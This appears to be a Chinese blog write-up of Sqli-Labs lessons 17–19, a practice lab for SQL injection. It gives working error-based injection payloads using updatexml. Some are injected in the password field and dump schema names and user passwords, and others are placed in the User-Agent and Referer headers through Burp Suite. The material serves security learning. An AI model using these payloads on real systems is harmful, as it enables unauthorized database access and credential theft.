zoukankan      html  css  js  c++  java
  • Sqli-Labs less17-19

    less-17

    前置基础知识:

    UPDATEXML (XML_document, XPath_string, new_value);

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

    第三个参数:new_value,String格式,替换查找到的符合条件的数据

    作用:改变文档中符合条件的节点的值 改变XML_document中符合XPATH_string的值

    而我们的注入语句为: select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);

    其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出 ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'

     

    参考链接:

    https://www.jb51.net/article/125599.htm

    https://www.jb51.net/article/125607.htm

    首先,在php网页代码中插入输出sql语句和update语句,这样便于观察:

     然后尝试输入发现,这个是一个更改password的功能,前提是username需要正确:

     代码中使用了get_magic_quotes_gpc name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义,所以只能在password处注入

    我们可以根据上面的updataxml构造注入语句:

    查当前库:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(databese())),1)#&submit=Submit

    查库:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata  limit 5,1),0x7e),1)#&submit=Submit

     查表:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'  limit 3,1),0x7e),1)#&submit=Submit

     查列:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'  limit 4,1),0x7e),1)#&submit=Submit

     查信息:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from (select password from security.users  limit 0,1)users ),0x7e),1)#&submit=Submit

     注意:这里之所以使用两层select,是因为会出现报错:

     意思是不能select出同一表中的某些值,这是再用一个select中间一下就可以了

    参考:https://blog.csdn.net/z_youarethebest/article/details/53785487

    less-18

    在这一关中 ,完善了上一关对password的转义和过滤。

    登陆成功:显示ip地址和浏览器版本信息

    登陆失败:只显示ip地址

    注意:在这一关中如果输入用户名和密码登陆不了的话可能是因为在17关重新设置改变了密码,可以在sqli-labs初始界面重置数据库:

     

     18关同样进行输出,最后测试发现可以在http头部user-agent的地方注入。

    注意:我在这里使用的都是burpsuite,其实可以用火狐的插件:http header live 虽然用法有区别,但是原理都是一样的。

    抓包之后右键发送到Repeater:

     然后在数据包的headers部分修改user-agent构造注入语句:

     查当前数据库:'or updatexml(1,concat(0x7e,(database())),1) or '1'='1(注意闭合)

     或者'or updatexml(1,concat(0x7e,(database())),1) ,",")#   闭合sql语句

    之后构造的语句和上一关一样,不再赘述

    less-19

     这一关和上关也是类似,登陆成功返回的信息变成了referer。

    抓包:' or updatexml(1,concat(0x7e,(database())),1) and '1'=‘1或者‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)# 

     构造的语句同样是相同的。

  • 相关阅读:
    Linux命令之_Cut(转)
    Use “error_messages” in Rails 3.2? (raises “undefined method” error)
    ruby错误
    Linux SvN操作
    Linux 安装SVN服务器 (转)
    删除 vim 命令
    vscode 配置java开发
    java json
    svn
    采样率和比特率
  • 原文地址:https://www.cnblogs.com/hzk001/p/12229725.html
Copyright © 2011-2022 走看看